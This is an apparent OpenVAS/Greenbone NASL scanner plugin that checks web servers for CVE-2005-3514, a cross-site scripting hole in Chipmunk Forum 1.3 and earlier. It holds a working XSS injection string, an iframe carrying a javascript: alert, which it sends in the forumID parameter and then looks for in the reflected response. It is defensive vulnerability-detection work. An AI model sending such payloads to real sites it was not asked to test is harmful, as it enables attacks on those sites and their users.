Chipmunk Forum <= 1.3 Cross-Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2008 Ferdy Riphagen
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.200004");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2008-08-22 16:09:14 +0200 (Fri, 22 Aug 2008)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_cve_id("CVE-2005-3514");
  script_name("Chipmunk Forum <= 1.3 Cross-Site Scripting Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2008 Ferdy Riphagen");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "cross_site_scripting.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"impact", value:"A vulnerability was identified in Chipmunk Forum version 1.3 and prior, which may be exploited by
  remote attackers to execute script code by the user's browser.");

  script_tag(name:"summary", value:"The remote host appears to be running Chipmunk Forum that is vulnerable to cross-site
  scripting attacks.");

  script_xref(name:"URL", value:"http://www.frsirt.com/english/advisories/2005/2172");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15149");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_app");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("url_func.inc");

port = http_get_port(default:80);
if (!http_can_host_php(port:port)) exit(0);

host = http_host_name( dont_add_port:TRUE );
if( http_get_has_generic_xss( port:port, host:host ) ) exit( 0 );

xss = "'</a><IFRAME SRC=javascript:alert(%27XSS%20DETECTED%20BY%20VTTEST%27)></IFRAME>";
exss = urlencode(str:xss);

foreach dir (make_list_unique("/chipmunk", "/board", "/forum", "/", http_cgi_dirs(port:port)))
{
  if(dir == "/") dir = "";

  res = http_get_cache(item: dir + "/index.php", port:port);
  if(!res)
    continue;

  if (egrep(pattern:">Powered by © <A href=[^>]+>Chipmunk Board<", string:res))
  {
    url = string(dir, "/index.php?forumID=", exss);
    req = http_get(item:url, port:port);
    recv = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
    if(!recv)
      continue;

    if(xss >< recv)
    {
      report = http_report_vuln_url(port:port, url:url);
      security_message(port:port, data:report);
      exit(0);
    }
  }
}

exit(99);